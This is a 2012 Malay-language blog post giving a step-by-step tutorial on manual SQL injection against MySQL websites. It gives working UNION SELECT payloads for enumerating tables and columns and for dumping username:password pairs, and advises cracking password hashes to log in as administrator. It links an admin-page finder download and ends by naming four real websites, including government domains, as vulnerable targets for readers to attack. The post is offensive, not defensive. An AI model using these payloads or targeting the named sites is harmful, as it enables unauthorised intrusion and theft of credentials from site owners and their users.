Monday, March 12, 2012

SQL Injection Step By Step Full Tutorial

PERBEZAAAN SQL INJECTION : MANUAL VS TOOL


Inilah soalan yang sering kita bincangkan.Manakah lebih berkesan?SQL Injection dilakukan secara manual atau menggunakan tool yang sudah direka oleh pakar SQL Injection?Inilah jawapan saya.Melakukan SQL Injection secara manual lebih berkesan daripada dilakukan menggunakan tool sedia ada seperti "Havij","SQLi Helper" dan "BSQLi".Melakukan SQL Injection secara manual akan memahami keadaan semasa kita melakukan "peneltration".Kenyataannya,saya dahulu juga menggunakan tool ini kerana menganggapnya sebagai susah jika dilakukan secara manual kerana kodenya yang harus dihafal melainkanlah dilakukan secara manual oleh tool sedia ada.Saya mendapat idea untuk belajar SQL Injection secara manual adalah kerana itu saranan dari Noobster h3x0r cr3w yang menganggap melakukan SQL Injection secara manual lebih berkesan dari melakukannya secara menggunakan tool.Dan ternyata ia berkesan.Sebenarnya belajar SQL Injection tidaklah begitu,anggapnya sebagai satu perkara yang menarik dan baru yang boleh kita terokai di dalam dunia ICT.Saya mengambil masa selama sehari untuk menghafal kode ini.Tetapi,jika orang yang bersungguh-sungguh.Satu malam sahaja yang diperlukan untuk menghafal dan mengingati kode ini.


APA YANG HARUS KAMU BELAJAR SEBELUM MELAKUKAN SQL INJECTION


Semasa saya mula belajar,saya tidaklah mengambil masa yang begitu lama kerana saya sudah mempunyai kemahiran tentang script web.Contohnya seperti mereka html sendiri atau mempunyai kemahiran dalam mengedit html.Dan,anda juga perlu faham dengan cepat tentang dokumen ini (saya pernah menggunakan havij,oleh itu saya faham dengan pantas).Saya percaya kamu akan belajar dengan lebih pantas jika kamu tahu tentang basic mengenai komputer system dan bagaimana internet berfungsi.Semasa saya mula belajar,saya membaca sambil melakukannya.Ini akan membuatkan kita lebih faham tentang bagaimana SQL Injection ini berlaku.Jangan membaca sahaja keseluruhan dan baru mengujinya.Ini akan membuatkan anda lambat faham tentang bagaimana kaedah SQL Injection.


APAKAH ITU SQL INJECTION


SQL ialah singakatan bagi perkataan "Structured Query Language".Iaitu bahasa komputer yang sangat susah,sataraf dengan bahasa manusia.MySQL direka bagi menyimpan data(database) sesebuah website.Maklumat disimpan didalam database.SQL database boleh diceroboh jika terdapat kelemahan di dalam SQL itu sendiri ataupun dipanggil sebagai "vulnerable".Kelemahan tersebut boleh berlaku sekiranya terdapat kekeliruan di dalam MySQL database.Contoh website yang mempunyai kelemahan ialah seperti berikut.Katakanlah kita melihat website ini:-


www.example.com/index.php?id=9


Kita lihat ia seperti website yang tiada masalah.Tetapi,jika ditambah "(nombor)'" di belakang number tersebut.Contohnya:-


www.example.com/index.php?id=9'


Ada kalanya MySQL website itu mengalami kekeliruan dan akan menyebabkan error berlaku di website itu.Contoh error selalunya berbentuk ini:-


Warning: mysql_fetch_assoc()
Warning: mysql_fetch_array()
Warning: mysql_num_rows()
Warning: session_start()
dan lain-lain lagi...


Ini ialah salah satu error yang akan keluar apabila kita mengelirukan MySQL website itu.Itu bermakna bahagian website yang error itu boleh diceroboh menggunakan kaedah "SQL Injection".


PENGENALAN


Setiap MySQL terdapat "database",di dalam "database" terdapat "tables",di dalam "tables" terdapat "column,dan maklumat disimpan di dalam "column".


Database -> Tables -> Columm -> Information


Apa yang kita mahu cari ialah maklumat yang terdapat di dalam Column.



APAKAH "information_scheme?


"information_scheme" ialah "information database" yang wujud di semua MySQL versi 5 dan ke atas.Ia mengandungi maklumat tentang nama tables,column yang muncul di database yang lain.


MENCARI JUMLAH COLUMN


Kita gunakan command "order by" untuk mencari jumlah column yang ada.Pilih satu nombor yang anda jangka sebagai jumlah column.Contohnya 8.Jadi kita gunakan angka lapan sebagai permulaan kita mencari jumlah column yang benar-benar ada.Caranya begini :-


"www.example.com/index.php?id=9 order by 8--"


Kita lihat ada error di website tersebut.Ia bermakna column itu kurang daripada lapan.Jadi kita terus mencari.


www.example.com/index.php?id=9 order by 7--
www.example.com/index.php?id=9 order by 6--
www.example.com/index.php?id=9 order by 5--


Jadi,jumlah column yang ada ialah 5.


MENCARI COLUMN YANG VULNURABLE


Sekarang,kita menggunakan command "UNION ALL" dan "SELECT" sebagai command kita untuk mencari column yang vulnurable.Ingat supaya meletakkan (-) "dash" sebelum "9".Caranya begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5--


Selepas "UNION SELECT ALL",senaraikan jumlah column yang ada dan tambah "--" di belakang nombor yang terakhir.Kita akan dapati di paparan website itu terdapat beberapa nombor.Dan salah satu daripadanya berwarna hitam.Contohnya nombor yang dihitamkan itu ialah "3".Jadi,column bernombor 3 ialah column yang vulnurable.


MENCARI VERSION UNTUK SQL


Jadi,kita sudah menjumpai column yang paling vulnurable.Sekarang kita akan mencari version untuk SQL Database tersebut.Caranya ialah menggantikan "@@version" ke column yang vulnurable.Contohnya begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,@@version,4,5--


Tetapi,jika di paparan depan website itu menunjukkan error.Kita harus menukar command "@@version" itu kepada "convert(@@version using latin1)".Contohnya seperti ini :-


www.example.com/index.php?id=9 UNION SELECT ALL 1,2,convert(@@version using latin1),4,5--


Tetapi,jika masih error atau tidak menunjukkan apa-apa lagi.Kita harus menukarkannya kepada "hex" hash iaitu dari "convert(@@version using latin1)" kepada "unhex(hex(@@version))".Contohnya seperti ini :-


www.example.com/index.php?id=9 UNION SELECT ALL 1,2,unhex(hex(@@version)),4,5--


Anda akan dapati nombor terdapat di paparan website berkenaan.Contohnya,jika nombor itu ialah "5.0.12".Kita boleh menceroboh "information_scheme" website tersebut.TETAPI,jika nombor itu kurang dari 5 contohnya "4.9.0.1".Saya sarankan lebih baik anda mencari website yang lain kerana sukar untuk menceroboh data MySQL.Tetapi,jika anda masih ingin membuat SQK Injection kepada database tersebut.Caranya ada di bawah.


##############
       SQL Version 4
##############


Untuk melakukan SQL Injection terhadap MySQL version 4.Ianya harus dilakukan secara tekaan.Ini kerana dalam MySQL versi 4 tidak mempunyai "information_schema" yang memudahkan kita mencari colum yang anda.Tetapi dalam versi 4,ianya lebih "confused" dan sukar berbanding MySQL versi 5.Jadi kita harus kembali kepada command SQL yang asal iaitu :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5--


Jadi,gunakan dork atau nama jangkaan bagi table tersebut.CONTOHNYA seperti ini :-



tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer, customers, orders, phpbb_users, phpbb_admins

Senarai Table boleh didownload di sini :-
http://www.mediafire.com/?d21xxbdtqew9377

Ini ialah dork yang selalu digunakan oleh admin.Kita gunakan ini sebagai dork jangkaan kita.Kita cuba satu persatu.


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5 from tbl_user--  
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5 from tbl_admin--
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5 from tbl_access--
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,3,4,5 from user--      


Jadi,table yang wujud ialah table "user".Sekarang kita perlu mengagak nama column pula.Ini senarai ringkas nama column yang saya ada :-


first_name, last_name, email, username, password, pass, user_id

Senarai column boleh didownload di sini:-
http://www.mediafire.com/?9c612zet5pcrxx9

Okey,langkahnya begini.Gantikan column yang vulnurable kepada senarai column yang ada di atas :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,first_name,4,5 from user--  
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,last_name,4,5 from user--  
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,email,4,5 from user--        
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,username,4,5 from user--    
www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,password,4,5 from user--    


Ini bermakna column "username" dan "password" yang berada di dalam table "user" wujud.Jadi,tugas kita ialah mengambil data yang berada di dalam kedua-dua column tersebut.Jadi commandnya begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(username,0x3a,password),4,5 from user--


Jadi,ia akan muncul senarai username dan password.Tetapi,jika username dan password itu terlalu banyak.Kita boleh limitkan sedikit nilai username dan password yang akan diambil.Jika anda cuma mahu 300 sahaja username dan password.Commandnya begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(username,0x3a,password),4,5 from user limit 250,1--


Selesai untuk MySQL Versi 4


##############
       SQL Version 5
##############


MENCARI NAMA TABLES


Mengenai versi 5 pula,ianya amat mudah dan tidak perlu tekaan kerana semua data mengenai table dan column sudah tersimpan di dalam "information_scheme".Jadi,kita mulakan sekarang.Untuk mencari semua table,anda perlu gunakan kode yang sukar sedikit untuk mendapatkannya.Gantikan "@@version" dengan "group_concat(table_name)".Padamkan "--" dan gantikan dengan "from information_scheme.tables where table_scheme=database()--".Contohnya seperti begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--


Ia akan terpampang di muka depan website itu nama-nama tables yang ada.Contohnya anda mendapat salah satu dari nama tables itu ialah "admin".Jadi,ingat nama table itu atau catitkan.Contohnya seperti ini :-


administartor,user,access,....


MENCARI NAMA COLUMN


Untuk mencari column yang terdapat di dalam tables,anda perlu menggantikan "table" dengan "column".Contohnya begini:-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database()--


Anda akan dapati nama-nama column yang wujud di dalam tables.Untuk memisahkan column yang bercampur-campur itu.Anda lihat "id".Jika anda lihat "id" yang pertama.Maksudnya column yang pertama itu milik tables yang pertama.Selepas "id" barulah column table yang selanjutnya.Contohnya seperti ini :-



id,username,id,password,note,id,email,account,userid,help,id,...
  |________________ _____|        |__________________|
                        |                                                 |
   Milik table yang pertama                 Milik table yang kedua
  Milik table "administartor"                   Milik table "user"



MENGAMBIL DATA DARI COLUMN


Untuk mengambil maklumat yang terdapat di dalam column.Andainya column yang mungkin terdapat username dengan password admin ialah "username" dan "password".Jadi,kita hendak mengambil maklumat yang terdapat di dalam kedua-dua column tersebut.Cara untuk mengambil maklumat dari kedua-dua column itu seperti ini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat("column pertama",0x3a,"column kedua"),4,5 from "nama table"--


Ia akan jadi seperti begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(username,0x3a,password),4,5 from admin--


Ia akan mengambil semua data yang terdapat di dalam column "username" dan "password" yang terdapat di dalam table "admin".Jika password itu dalam bentuk hash code.Pergi ke "http://md5crack.com/crackmd5.php" dan letakkan password yang telah dihashkan itu.Selesai.Anda sekarang boleh melogin masuk sebagai admin website tersebut.


Tetapi,jika username dan password itu terlalu banyak.Kita boleh limitkan sedikit nilai username dan password yang akan diambil.Jika anda cuma mahu 300 sahaja username dan password.Commandnya begini :-


www.example.com/index.php?id=-9 UNION SELECT ALL 1,2,group_concat(username,0x3a,password),4,5 from admin limit 250,1--


MENCARI ADMIN WEBSITE ITU 


Terdapat banyak cara untuk mengetahui login page untuk website berkenaan.Anda boleh gunakan program ini "www.ziddu.com/download/13447800/Admin_Finder.rar.html" dan anda boleh mencari admin login page itu.


CONTOH WEBSITE


Ini ialah salah satu contoh website yang vulnurable kepada SQL Injection attack.Selebihnya anda boleh mencari sendiri :-


www.tartanarmy.com/news/news.php?id=130
www.magnetecs.com/news.php?id=48
www.moic.gov.bt/fullnews.php?id=215
nssc.gov.bt/publication/publications.php?id=5



#########
     TAMAT
#########




Yang baik itu dari Allah S.W.T.Yang buruk itu dari saya.Maafkan saya jika apa-apa dalam artikel ini menyinggung perasaan sesiapa.Assalamualaikum dan selamat berjaya..

No comments:

Post a Comment